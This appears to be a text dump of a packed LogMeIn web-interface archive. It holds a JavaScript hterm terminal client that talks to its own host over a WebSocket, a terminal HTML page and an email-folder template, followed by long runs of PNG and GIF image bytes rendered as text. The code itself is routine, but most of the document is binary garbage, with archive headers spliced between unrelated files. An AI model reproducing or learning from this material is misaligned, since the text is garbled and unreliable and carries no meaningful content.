// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 
// SOFTWARE.

const decoder = new TextDecoder('utf-8');
var term;

function Pytty(argv) {
this.argv_ = argv;
this.io = null;
this.pid_ = -1;
}

Pytty.prototype.run = function() {
this.io = this.argv_.io.push();

this.io.onVTKeystroke = this.sendString_.bind(this);
this.io.sendString = this.sendString_.bind(this);
this.io.onTerminalResize = this.onTerminalResize.bind(this);
}

Pytty.prototype.sendString_ = function(str) {
updater.emitKeyboardInput(str);
};

Pytty.prototype.onTerminalResize = function(col, row) {
updater.emitResizeCommand({ cols: col, rows: row });
};

var updater = {
socket: null,

start: function() {
var url = ((location.protocol === "https:") ? "wss:" : "ws:") + "//" + location.host + "/term/ws";

lib.init(function() {
hterm.defaultStorage = new lib.Storage.Local();
term = new hterm.Terminal();
term.decorate(document.getElementById('terminal'));

term.onTerminalReady = function() {
window.term = this;

this.setCursorPosition(0, 0);
this.setCursorVisible(true);
this.prefs_.set('ctrl-c-copy', true);
this.prefs_.set('ctrl-v-paste', true);
this.prefs_.set('use-default-window-copy', true);

this.keyboard.characterEncoding = 'raw';                
this.prefs_.set('send-encoding', 'utf-8');
this.prefs_.set('receive-encoding', 'utf-8');    
};

updater.socket = new WebSocket(url);
updater.socket.binaryType = "arraybuffer";
updater.socket.onopen = function() {
term.runCommandClass(Pytty, document.location.hash.substr(1));
updater.emitResizeCommand({ cols: term.screenSize.width, rows: term.screenSize.height });
};

updater.socket.onmessage = function(messageEvent) {
var str = decoder.decode(messageEvent.data);
term.io.writeUTF16(str);
};

updater.socket.onclose = function() {
term.io.writeUTF16("\r\nConnection closed.\r\n");
updater.socket = null;
};            
});
},

emitKeyboardInput: function(text) {
if (updater.socket != null) {
updater.socket.send(text);
}
},

emitResizeCommand: function(size) {
const resizeCommand = JSON.stringify({ resize: size });
const bytearray = new Uint8Array(resizeCommand.length);
for (let i = 0; i < resizeCommand.length; i += 1) {
bytearray[i] = resizeCommand.charCodeAt(i);
}
this.socket.send(bytearray);
}
};


(function() {
updater.start();
})();
hterm.htmlT<!doctype html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11" />
<meta charset="UTF-8">
<title>LogMeIn Terminal</title>
<script src="/hterm/polyfill.min.js"></script>
<script src="/hterm/bluebird.min.js"></script>
<script src="/hterm/encoding.js"></script>
<script src="/hterm/hterm_all.js"></script>
<link rel="shortcut icon" type="image/png" href="/favicon.ico">
<style>
html,
body {
height: 100%;
width: 100%;
margin: 0px;
}
#terminal {
display: block;
position: relative;
width: 100%;
height: 100%;
}
</style>
</head>
<body>
<div id="terminal"></div>
<script src="/hterm/pytty.js" charset="UTF-8"></script>
</body>
</html>
 htmail.htmlF	#<?ratmpl?>
<?
nocache
include "macros.html"

action "htmail" REQ.OP = "FOLDERLIST"
if not REQ.FOLDER
set REQ.FOLDER = INBOXID
endif
usemacro LINECOUNT()
action "htmail" REQ.OP = "LIST"
?>
<html>
<head>
<?include "title.inc"?>
<?include "style.inc"?>

<script language="JavaScript">
function changeFolder(newid) {
var url = "$TEMPLATE$?folder=" + escape(newid);
<?if REQ.SORT?> url += "&sort=" + escape("$REQ.SORT$"); <?endif?>
window.location = url + "&$RND$";
}
</script>

</head>

<body>

<div class="window" <?if UI="secrem" and not UITYPE = "LMI"?>style="width:90%"<?endif?>>
<div class="titleBar"><img src=<?if UI="secrem"?>"img/ico_email.png?bg=%COLOR.DlgBack%"<?else?>"img/menu_email.png?bg=%COLOR.CapBack%"<?endif?> align="absmiddle">&nbsp;<?&MSG.HTMAIL.TITLE?></div>
<?if not UI="secrem"?>
<div class="buttonBar">
<div class="buttonGroup" valign="top">
<a href="title.html?favname=%MSG.HTMAIL.TITLE%&favicon=menu_manage.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<?usemacro PAGEBAR("sort,folder")?>
<?if FOLDERCOUNT?>
<div class="buttonGroup" valign="top">
<select size="1" onchange="changeFolder(this.options[this.selectedIndex].value);">
<?enum FOLDERS?>
<option value="<?&FOLDERS.ID?>" 
<?if FOLDERS.UNREAD > 0?>style="font-weight: bold;"<?endif?> 
<?if REQ.FOLDER = FOLDERS.ID?>selected<?endif?>><?&FOLDERS.INDENT?><?&FOLDERS.NAME?><?if FOLDERS.UNREAD > 0?> (<?&FOLDERS.UNREAD?>)<?endif?></option>
<?next?>
</select>
</div>
<?endif?>
</div>
<?endif?>

<br><br>
<center>
<?if EMAILCOUNT?>
<table>
<?enum EMAIL?>
<tr>
<td><img src="img/menu_email<?if EMAIL.UNREAD?><?else?>_open<?endif?>.png?bg=%COLOR.DlgBack%" width=16 height=16></td>
<td><?if EMAIL.UNREAD?><b><?endif?><?&EMAIL.SENDER?> <?if EMAIL.UNREAD?></b><?endif?></td>
<td><?if EMAIL.UNREAD?><b><?endif?><?&EMAIL.SUBJECT?><?if EMAIL.UNREAD?></b><?endif?></td>
</tr>
<?next?>
</table>
<?else?>
Could not retrieve first unread message.<br>
&WINERRMSG&
<?endif?>
<br><br>
<?if UITYPE="LMI"?>
<?if REQ.BACK?><br><br>&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='$REQ.BACK$'"><?endif?>
<?endif?>
</center>
</div>
</body>
</html>
L~img\access.pngPNG


IHDRk=tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:A8E796228A8A11E38478C5C8A19756F2" xmpMM:DocumentID="xmp.did:A8E796238A8A11E38478C5C8A19756F2"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A8E796208A8A11E38478C5C8A19756F2" stRef:documentID="xmp.did:A8E796218A8A11E38478C5C8A19756F2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>6VgIDATxb466c``bVo %@L? KY43?e3
5'#'@	i"8		" >L(H$P0?q`ŒIENDB`Rimg\Active.pngK%PNG


IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<QIDATxڤSKkQ&6$k
EQ$(];ADp\]ۅ?ҍEU((AL)\4%y3s=w
ssc,Tf
g!=olF\b]iE<¸!pq-=>o
#g}zvD"vKi<pQʬ`
x{S&n)T&KZ}F;R!<J/SE=|fx<Ga;&*wFÂh}
~kTk}/zGXX7#k-T
LĞ"Vc[_wӕ-4M4gP.QML|I5֗'1r:wmz.IUeA)PFY(2y5EQlqGQ`/CWP	:CDo5.2vLMR6"MD!'[_r~P?YNOL
~?|Zgj&3t]N^>mIv6	_:vmÔA~L=m<WhIENDB`["img\beta_logo.png4^	PNG


IHDRXXf	pHYs
OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*!	J!QEEȠQ,
!{kּ>H3Q5B.@
$pd!s#~<<+"xM0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^uf@Wp~<<EJB[aW}g_Wl~<$2]GLϒ	bG"IbX*QqD2"B)%d,>5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A,`6B$BB
dr`)B(Ͱ*`/@4Qhp.U=pa(	Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q=C7Fdt1r=6Ыhڏ>C03l0.B8,	c˱"VcϱwE	6wB aAHXLXNH $4	7	Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![
b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw
Ljg(gwLӋT071oUX**|
J&*/TުUUT^S}FU3S	ԖUPSSg;goT?~YYLOCQ_ cx,!k
u5&|v*=9C3J3WRf?qtN	(~))4L1e\kXHQG6EYAJ'\'GgSSݧ
M=:.kDwn^Loy}/TmGX$<5qo</QC]@Caaᄑ<FFi\$mmƣ&&!&KMMRM);L;L֙͢5=12כ߷`ZxZ,eIZYnZ9YXUZ]F%ֻNNgðɶۮm}agbgŮ}}=
Z~sr:V:ޚΜ?}/gX3)iSGggs󈋉K.>.ȽJtq]zۯ6iܟ4)Y3sCQ?0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl{/]py.,:@LN8A*%w%
yg"/6шC\*NH*Mz쑼5y$3,幄'L
Lݛ:v m2=:1qB!Mggfvˬen/kY-
BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9<qy
+V<*mOW~&zMk^ʂkU
}]OX/Yߵa>(xoʿܔĹdff-[n
ڴ
VE/(ۻC<e;?TTTT6ݵan{4[>ɾUUMfeI?m]Nmq#׹=TR+Gw-
6
U#pDy	
:v{vg/jBFS[b[O>zG4<YyJTiӓgό}~.`ۢ{cjotE;;\tWW:_mt<Oǻ\kz{f7y՞9=ݽzo~r'˻w'O_@AC݇?[jwGCˆ
8>99?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_F)IDATx]k\ۙFmMa(R0yV	x	#.?AS	1֭}M#;~zyJff֌^ku."8DܑlD>\yD;"^<xa˼i UEĿ"?r>"l3ux"g"ܵsc`[d":Y(7,@dX/D ,,+D ,,
Kd"Y D *,,
Kd""YD@%PA`,@dTX"YD@%PA`,@dTX"YD@%PA`,@dTX"YD ہ,@dKd"KdgɃpup;ܡ#⃈;r^HL>k??6r/^xsBޫNL _sA߻IVdȂ|V"WVD@j% ߸Y	Ȃ|Jd$X"+p`,7D@% ߸Y	Ȃ|Jd$X"+p`,7D@% ߸Y	Ȃ|Jd$X"+p`,7D@% ߸YJ& øYY DX"+,Jd,[% ߸YY DX"+,Jd,[% ߸YY DX"qUd\D D+%nB\,,Jd,X"ĕY@gKd!Dq%D,]Dd,@`,Uqxi)ƫ"KdKd!ʊ(vC%%WeՔYYJd,@`,Uq%D D⪂Y"X"qUA\,, ROnY@23z/"z;#|D|sGn1 bqib4^]~|~x{qH	1i:c\E47߻++mGdu$ȂǕYCop!M.ʞS"(!a&XoK,U	d]ڊ(,X"WMFV(W_|Y YVDLvY YVD`5D,p\5Y++qq}]d+BUyS/-vQ~]	0:D,U	dkX(,X"qŸj*fV_ZdY+YOܩ((Y:#dC\<Ś7իq0ta,h	ٿ%dWɯl>^]ᰖRUxde
0*[IJd--,tbu2ɂ`-$K\%/I7ope52*[IJ^ꓬ^Qį>~y6ǣL&XK4WK}u0WׯW~?3~'~Q>$B\u5G֭ﺸYP1+pAʇ{EWvv*I>("&X~K4WKyu0ēw+2%W]jX彫%@`,UG#`2JcϺY Dk_g(Kd!:YU_z[""UUlD%P\5BJUkq^`,X"nv#9R""K\WӨjz%e+?%*wuD֯"WVjE,D){GY#"LkSGWWcw8~kb(.c2J[I:d76j{}ձQ&Y D퍫T"?_,/Z˳%DJ#>؈{FU{ߤm'@`!UqBdͯMx!@`,%Ҋqeg̿_YO>5"T~E.W'{['~?>}%|Nqׅ Djo\Yڽ?x`Ytj_]EdY"K\YS+uaq1פ5D,%Uqbd`2GYP:'gƉ*p(G9+o&YL^‚EFGdi&X~K4W=<sG\U2ɢLh%$ƹWL$%dWƫ⪾}I_}:0&v""]~=D.$mV(y36RE,Dֱ>8/-5~KaʗJdBd	W<{7sGv"R=,jT,X,uG^S&'o)%pOW	ĕȂvVuy&n—sΡ}ָz5~<aNmer&Y&Y'X[˫WLX,Ț.?O6D,D<G֭8ƫիݪY'`usu\WvvbO>ܽ-3%2'&O܉^Qą3hoaU1yY Y"+*s""bߏqߏDD~{6dz5c4j*,X,id}rv\\_/xi)sr.GV,2i'w
w'r
q4ɉw2aII[׋rZVJcE3$$>W,/oI,D0J&l:rD,D(>77$Vq#@`!DV&UE0ajQ#@`!DV&Uk_+%X,ȺXsn0W"Kd!Y"UE\ED`/""Kd%YU⯪x-"Kd!Y"+E׬R,X,Hd]Z_t&XGYD'ozsA|M߲8Y Y"눋}0"g?%""Kd5ۭXFA,Bdc0~aeFuڈ]%>e;Ň)X ҉~?.omR]>|hrձY YIG֣j^Q'o孭S/ypq}iq8Z\,XdL&xiȊa=[[qykX"WVN|rvk]ɳXdx"V;w7%۵wZEDp~D"bm6"fDl".om%~4_`aWWLcRjM~|~x~9$`X,ūƫ;7㥥K"uvR†"RɤÅ Y"+øJ*Yٽ_\#D"orrNX}:f\^rN	qL$$+""ܽ+NWML@`!T~5vquY""
)-MЄonjBm+%ȋs]ɊʩŗW(ɪt圬c8y&X4IVDtnu0_0nk\MIVe(,"Kd7E@q%DD["͇Y"~8DHv!DB`zK5yn]+%X :YQ|u!DB`zKd}yjcJd,c} p!W
FY,Yo`իY^Zgw8W
ǕY,YopxeeNxEY"TYɝdu}by9E(||_
6qX3gq%^>ʊEnLHӓf<ZXfZx07o6vX~?~&YLX\L&ɜΝx!̔?SΤY!BpXolL_woaˇuBr}ÅU]l߸+(ܽ-m"DX?7n򡹷?1&ɬɕa&%DXE\X\ f?,zEsk?dߏFϿ5bo{;9<"Kd,%Y+%D*_W](ׅ~}߰ŽX,ĕY""K\,%X a+DX!%DY,Yt1DYD>TEVV"K`B\Z#+DD:(-,42Y݉+%@dѩzu9W"K`Ȣ3qu0"K\,"UA!ĕX \\z"K\,"ŕȪv+%@dƕȪf+%@dǕ*w+%@d,q%J&e`ܾ-X Uq%ζM[[qq}ݵX Uq%NM^Q$~Y,YJdUMTw""K\JI]q%HչckM;܁whG "f#bAĦV\+sAϳ+{W\;xu~|~x~9^f%N$+JXAXdeB`W"q%X UKJdW""K\$DVZq%X UKJdW""K\$DVZq%X W,/+]\,=JdW""+YDM.q%Ҋ+%xU\whcY,Y"5f(܌"ƫl%26Y,Y"Kd,%,%DYY"Kd,%Di]\[MDX D*MDX D5Y"K`"Kd.(/D%DVJd,,tPW"Kd	,@d$"Y"K`"Kd%m+UD%DVJdU"X D`\,%%	ǕYY"֠J\,%%j	ŕYY"Ҡj\,wn֎s;8DܑlD>lk77孭E=^]0+z6j0ƫܮm>?M6"6X,%2W"sC8Dp9LkÅ<7,եBd,,YY"%D%D?gYY"17""K`"KdE@# DW"Kd	,Y"KdGЈ,,%ĕYDY0"K`"Kd,q%D%DEDȢ" D(X DWXYt6HDDYBsYDYsYY"ŕXY"Kpx"K`Y"Khx"K`"KdƕXY"a?ţDXY⪬г8/-,%%UDd,,%~ψ,%%U% kky-+% }ҎY"K`"jrj&DVu-XȪ8|UJd,H\u#DXȪ)U*m%W݌#`2( JWݎ"əXȪW\&+qSd	,@d,Uӵ% J W⪉j\YYg@W⪉z\YYg`W⪉(WGD)?ŕj"U%ujq%,qOdx5	ӫڿq>">#و}ن'>d"ՙ".om` JFۋ?|9X@aB\Y*r8>\*˻I\}B,U%,,U%,,Ub-2,'r⻸WMRd+qE'YY+DVɑ%BdYY+DVɑ%BdYY+DVɑ%BdYY+K,,YY+(9 WPrd	,@d+q%GDWPrd	,@d+q%GDWPrd	,@d+q%GDWPrd	,@d+q%GDWPrd	,@d+q%GDWTjn0\d	,@d+qEeO>O>LXGds%@"Gw`q>">#و})E\Z_kk+0ƫ|޻m>XW3㍍_Yy{t$ ĕԊ常",,q%8^QDolLiyd	,@d+qűqim-WV~r~zDWՅŘqW,VDV(N)q}ƍ_% ZYsA\j<U;LYqW,,%Y({) Dqqm-$O["K`"Kd_Y92"K`"Kd+À\YyelDY
GppYY"K\i.c#Ȫ9UzE++qim-YY"K\@ٗY@dUY*]U^Fd	,UQd4pn0~rN|}f=oQKDn# "F?"bZriBI\WǕ߻׹8߳x&X@'d{%1MxO`dpWiΎ=itIO'YYby94˫Wc4X"+W26MގKK<^sWEn޽ml7ؽ?kp˓~?&qUq#xz?k?'6DֳmMr^E`.:;ɢeeO!2N(ׅŸqJ9-p	$SelG!`vׅ26O[}֭+ǸX"3^>m2xbjOnr.Ur\\[k2a|s~i:Ǖ7ǥr;18\`20{'Kx|QOe<08nZ̯z$ܽݹ_"OXr\(,01F̯y>֨^uiLN$ݺriXg{EWvvj4Q&X`>K1F/c3]jao{DYG\4Yel&ԥZc'O9DpFKyu_Y{?ܗf8L2e"޾I]4:1,dkߏ_^ߵI]X\[[<ܗf8$&YUmwܥN꣺mG`$y]Ѱ:R	O>yaiLJfՌ^QJ\Z[kU[j:-K3,]YZ8vjNnX"+k]Zf!K-T]^=+9)D:_
e.pícW@deKUK-ԥӫ"_26]Xf!_Zkw8j+_K,d߅hc,LWW8`~Ȋn# "F?"bZr+;;qykSqq7Iq|\¢Q忄l	@e.]mA<dV,/vۓw[z:!]?'K9&Kkrx0[::D3kXJݫ~/,.vX+ ?㥥V]7Ȫ8]A`,%c߯m;ֺhY"F"_F{i.>7孭NQR「ӧWv53HIIT9ɺ^S&X	2Js5F/~F.6]$Wqegm݅2HIVZgq|}f<ZXo></-hT({Ueq48{2TwΙd58zŗ{Ed]٩mG	@LdmoWׯǣ7^`2z5R[\uei DR<^Z;#΅E4Y"hha!/-9FօmF'ަidL&	aYոhNnr;@|Xl'OZΝҧb9>7ħ򘺶4Q&X1:$ե8$s:0wn	cM޶BURdqegҵ2ȔI'YYj*N.. ,<MrN˓֭$~$Dĩ~&&X3Zz)}4ɺ^[\uuiL2/<J]
ӧxuòJKd7j./pC-ÅkpaQYY"T]_A`,%@d,UK3,%DVɜ24du4%e^f&YiJΓ,+ D*Y"DfX,Uv`YA` DVy, Y"dNn34d4%ҕfx;,L$J` DV, Y"DfX,Uv`YA` DVy, Y"dNn?4deE\ى^Qvf8,$++"L">ب, Y+_Y, Ywi}48 Su:N|oο˫Wm0L5ę`d	֔IV3L_}YtL85˵U@duŵZjsA\X\, YW$wLp83~\٩,p6&X$q'	@R`MdWqeg,pv&XT$<E3c'XS&YgW¢zLIԽ", @dEGfX{z8 S:N|4CLIֻYX4o&Xy5ezu/,ai`׫{aQK3,DV#㍍ZȪ{aQK3,DV#$wL$Ok;1 )]d=^Zɤ2XNDhT[dm8fXtȪ0, Y"4@d<- @dYܺ%@dYIL67"kw8m""kii"ȲrUbdYA`*9, @dYfX J,K3,Y%G#DVɑei",Аs/^2slcq.~YD#⃈;rga@=$"""Kd!@d!@d@d,,,,%X X X DDDDXB`B`B`""",,, X X X DDDDXB`B`YY,Y,Y"K`"""Kd	,@d	,@d!@d,,,,%%DDDYYY,@d	,@d	,@d!@d,,,,%%%%   DDDDXXXYYYY@d	,@d	,@d	,%%%DDDDXXXdd	,@d	,@d	,@du*  @"K`"K`"K`t*  @"K`"K`"+XXJ;  Ҏ,,#K`"K`"+XXJ; @ڑ%%Ҏ,,vd	,@d	,#K`"X*9 J,#K`"X*9 J,#K`"X*9 J,#K`"X%G(9@ɑ%J,Prd{-sPӟE"8DܑlD6x4qX%G(9@ɑ%J,Prd_W_IENDB`_36img\but-disconnect-norm.gif_	GIF89aZEGilEͼ?BBE\_CF[]zsvOQHH@CZ]mԿEHDɬ=?{JMcfȦNQKNźˆLP7;?B3669s1-v)t"xw%yyq.0_bKOHKloSVȤPSw5¹ܡVbРywd-WZ]Fyu9łQ,58hj԰Qhk8;JDepկsx`c]г?B]`r_bnqȦȥRTTW4rFpi8Il<jCnm@I{!,
v
HrHPzPa}a_x_u
HUÇ
H!P)C jȱǏ CI+'R\

!j(+sɳϟ@
JT/(*U3[t8pc,
~,ʵׯ`ÊK٭^ԨX˖m0"lL1 %"Th˷߿L|դ1c.@̜q@
hy3ǠCMӨS^8
cael<`*|Nȓ+_μsd̘N}r(@ÂYHӫ_Ͼ˯@u<Q%6F(2daԐKl`
5,0(4h`Î<
8pF4
;L7PF)TViXfet—`~IDUh; d@	Etix|g] JE#x@,p	PQ襘f馜v駠*j©%(C	dꭸ뮼+±"D@Pp	#@fv+f@&bL@7tC	L!ƺ,D'0J$B0Wlgw;!$l(,0,' 8<@-Dm;L7PG-TWmXgOG`-dmhlcG Atmx|߀.wK '7G.WnKw砇.褗n騧:;5pN6img\but-disconnect-over.gif]	GIF89a?BBE>A[]CF[]svPRnƵ@CZ]EH+u=?y~JMcfȦ++|NQKN+w7:3669axvtbcqdenpfseq.0+z<_bF+~KNȤmpHKPSSVMvhk8;D${`PilSWZKeÉ̉А7
hbP8?+yb58+}+\`cx}נڄ>A]`HA;'}Q
gP+vJNKOȦeh_bknPS!z_Y#{0^,.[Z&}X\)U+s!,~EtEewePvP<}<HzH`s
HÇ
g2e
!jȱǏ CI  R\I&		jZP#@2+sɳϟ@
JT'0!*UD/?v @
,ʵׯ`ÊK٭aX˖dLA#^i˷߿L|X1|ApM
AbǠCMӨS^8ƘcV k$ +Nȓ+_μscN}:nA|1PIӫ_Ͼ˯	iqu7:hт%6F(*da]GP`ࠁ-t,0(4hX\pŽ<D
8Tw9
@
KPF)TViXf^V>P
D`0U)tix|	4 蠂 00@:@j饘f馜v駠:(
W`ꩧ1'Cj뭸뮼k`:tdfv+b覫gE2g,0'|0O(aJ<aWlgwq0PQ$l(,0,Tl8<@-DmlL7PG-TWmXg`-dmhlh@ tmx|߀.@'7G.Wnw砇.褗n騧y ;=0@4img\but-disconnect-sel.gifPo
GIF89a\_CF[]ruPRw{@C+f8qZ]PEH+dn<?³JMJMcf+b~ȦNQ=@KN7:q-0=@?B3659!aFi^GkGj\}Z|WySvHlHmTwXz+h_bF|<tloSVȤPSHK
Moe\ИH|Dy8;;s+g+a|+b}ilbAw'dK~MǐQS$b58hkɥWZbuz+f+e`c?v]`>@
NpPv`ILBERTehmMP>@uyuxxzEhDf)f,h.jCeBd#b&dBcEgAb0k+`|UIn!,~P|POtObsbLrLKxK@w
H!Ç
eǏ1!jȱǏ CI $R\:t``
%+sɳϟ@
JTg$'*U0Bl Ci,ʵׯ`ÊK٭IX˖-b!PH
V8 Ӷ߿LÈrᢱ4րB`@
bƏCMӨS^1!)bˎ
7`(PÃG0ȓ+_μgIТN&d^`PE'ӫ_Ͼ˟Oz*_C
41wflT߂6F(Vh~	džnH[XA:1t@E,0(4h ^LCgx/p
LL6P,TieH`!<pl@
Wlp)t^I+gDA
q9h{6裐F*餔Vj饘I%tꩧ\64 9p꫰*무j뭸@&ꫯap |=F+VkfYh1·`QLe;+k]4DW7G,Ww ,$l(1q0,4l8<Ìq@-DmH'L7C;`TWmXg\w`-W[`Dhlp-tmkQ|߀.n'G.Wngw9;q&img\but-fm-norm.gif-
GIF89aAg;`9_s%w-xy1t"yv4{ܪ㟟뒹ꐑSW<a]DpuFbz_GUwשqqКϲHCjDDEÀ5e,shjmpHpEY[GE?eHHHR~EƬGnQ|PuJs_摸bjV}MwjY~OzDlULu)Fpi8rIl<jCnm@I{!,)v)-q-&z&=}=AxA@t
HÆ9@8r<ȱǏ CIɇ?|,Xr%b@xa	*i!G˟@
JѣH*mCP^łիXTׯ`ÊKٳh@۶@HK!˷߿L[*(^x!KyƘ3k̹ϠCXňS&B
#yJ5TͻNF(_\c"L"kνËO<s#E_^`O~EdϿ(h {E.A`dtPF$Av ($h
PC,ȢTD_uFVd<@)Di.@L6di;F!d\v`)di$8Ql2cpAd|矀*蠄jhN .i襘f馜v駠*jHB	W1
4D!%ꮼ+kl71.D+Cfv+qB覫+kp,l'G,Wlgw$l(,0,'/8<@-Dm;+1CL7PG-TWmXgO`-dmhlc3tmx|߀.8ށ;Ÿ&img\but-fm-over.gif-%GIF89a;`9_nxdtq!zefbscpev{ܩ۟p?eS~+}7<a+w<KMQp+t+~H+|?tPWpÐS+u+++wF+v+yDܩA8;SHpU"{*{+zCj++|焿GnAgY}Pu_jqbUjP{OzNyDlVKtLwNwQ}aY#{0^,.[Z_&}X\)U+s!,~DsD'v'0u0&}&%z%,r
HqÆHh@/<ȱǏ CIɇ;|Xr]d1R/gдE˟@
JѣH*m#ȃPbիXTׯ`ÊKٳhqQ۶dDK"˷߿L[$(^!G9
Ƙ3k̹ϠC͘S>B	!Qc
4GTͻN!B(_cC% kνËO<s!!_^C
`O~bS4Ͽ(h {!ܐ.hA\d+ p`Av ($h
,ȢoDeEcdh<@)Di.2L6ɤh:"X\v`)di8@l	2b@|矀*蠄jh*|.)襘f馜v駠*j4:
lKL"@(̐ꮼ+klMDz.D+nDfv+ͶD覫+k*,l'0G,Wlgw$l(,0,'8<@-Dm;`CL7PG-TWmXgOې`-dmhlctmx|߀.8ށ;_)$img\but-fm-sel.gif{3GIF89aSvGjFiTwXzWy^\}GkZ|Hm!aHl{ܩ̟ՒѰΩ+d+htS~M@fp8qPDyQ+e<t+a|?vn+d+b}pS"b+gHpF|S;sAwΘ+f+fH|K~UCk7p+gZ+c<a*d+b~9_VQ}q;`>ebLwOzUAg;`Y}DlP{Fn=bNx>dLuGnJsPu9^VCijDf)f,h.jCeBd#bEh&dBcEgAb0k+`|UIn!,~/|/%s%"r"q=x=<v
H񠱠Æ0L@E
`<ȱǏ CIɇ4HXr+(QÒ/Q@ْcC˟@
JѣH*mIƁPRFիX%ׯ`ÊKٳhH۶8K˷߿L'(^š!;9Ƙ3k̹ϠCS0HтI/TͻNj!(_|cs#K6kνËO<A_~B
`O$~*Ͽ(^
ZAD7#AFXv ($h"$ءK@hdo@`
88<
)d8bl?F
ÐPF)TViXfC `	FF(_Ot

4qp)tixb

fPd&q6裐F*餔Vj饂Cv)+1@AeQj*무j뭸뮞`.<`6F+Vk
kwt+k覫삋z+kӋpl'7G,#|tdw ,$l(sLu0,4l8<|Dy-DmH'L7P
{TmXg\w`-dcBhlp-tmm;$x*img\but-help-norm.gifbfZGIF89ara3q\^i~kpYjsj̫e4mtd^abтl{ψZEXGEyC}Lz[zHHmԄV>uDq̥=z8us1t)v-y"xwy%s,>tern-]5xFuyJˊ9D@uhjQVΡQwp՗wyϏrŁwy]ťP]wxS4rFpi8Il<jCnm@I{!,$v$araPzPB}B_x_*u
HÇ
$ɇ"[ jȱǏ CId,4R\I刃VL*+sɳϟ@
JT'#8*Uڄ
"8@$,ʵׯ`ÊK٭F*X˖2Bt8L1dPѶ߿LÈVR@1LD)CMӨS^	;bˎb 2ȓ+_μgOР`Z,Ȁ@5,0@0ӫ_Ͼ˟O
<ϯDbD@x ~6F(VhiBvaHІ	x0(4h8.>^B4`#@
4W)TViXf\v	U bVD pAdix|矀Y>jhCP0n@f馜v駠*ꨤ
7Z m4 @	Z뮼++ԠFD	Ap %0v+kn]q2q]8,l0<7LS<gw ,Ox0(,0,4lx<@-DmH'PG-TWmXg\w(pdmhlp-(x|߀.n)@7G.Wng)砇.褗n騧ꬷ>z ;C*img\but-help-over.gifbGIF89aY+~inQ~mvYjr=jJCs:pfd>t3l`ǂ8u{aҕ+wybC}Ln[zV‚+ur+|=z3qxabvtcpqfednse+zF
h7P
g+y+MvɉЩؠPS\ڥbtvcȊЏr]wQy`oOpyw]gnňՏ׌WХӥl!z_#{0^Y,.[Z&}X\)U+s!,~PsPwvH}Hzr
H9Ç
}(	rH%!jȱǏ CI.R\gJp=+sɳϟ@
JT1*U*	! $,ʵׯ`ÊK٭X˖>tP,ZZж߿LÈ2`X
pƏCMӨS^15bˎM@lCX 1ȓ+_μgG@O*(@-x(`%J'ӫ_Ͼ˟Oz!9?cTEA0~6F(Vh	a
vȡ%pAb[W\p%H0(4h8樣vqÏ@D  e$,TViXf\veFØd,`0kF	,ix|矀Z`衆,pA 	f|a"馜v駠*ꨤzh̠ꪫCX@&P-0+k챼6,Q`A@XC@8+k
+o4m8A,lC70=PDM$Aſgw ,P(,0,4l+<@-DmH'?{PG-TWmXg\wS;dmhlp-Px|߀.n(7G.Wng(砇.褗n騧ꬷ>z ;Ny(img\but-help-sel.gifNsGIF89a+d<t~mE{Yjrj+b~lPn3ksd`ǂ{χ:slW+g`ynC}`L>s[zӥV‚r̨=zi3q8v!a^FiGj\}GkZ|WyTwXzHlHmSv+h
MoMt
NpS'd@wH|K~7p$bQ8q?t\be5qXcvSЁxrbt_]OpwQxΏׁȟvEhDf)fCe,h.jBd#b&dBcEgAb0k+`|UIn!,~E|ENuNt?r?IxIHw
H!)ࢡÇ
Q„!!jȱǏ CIc/R\iJPF J#+sɳϟ@
JTg#2*Uڤ	 q,ʵׯ`ÊK٭GX˖-:lpK-_ж߿LÈ	pR8萦0A
ƏCMӨS^q5bˎݠ
jٱTԞMȓ+_μ-<A:u "e;xBӫ_Ͼ˟o04a@o @#`߂6F(Vh~KdžnPF v``0(4h8vȃ/ $
! $pPF)e;`Vrp
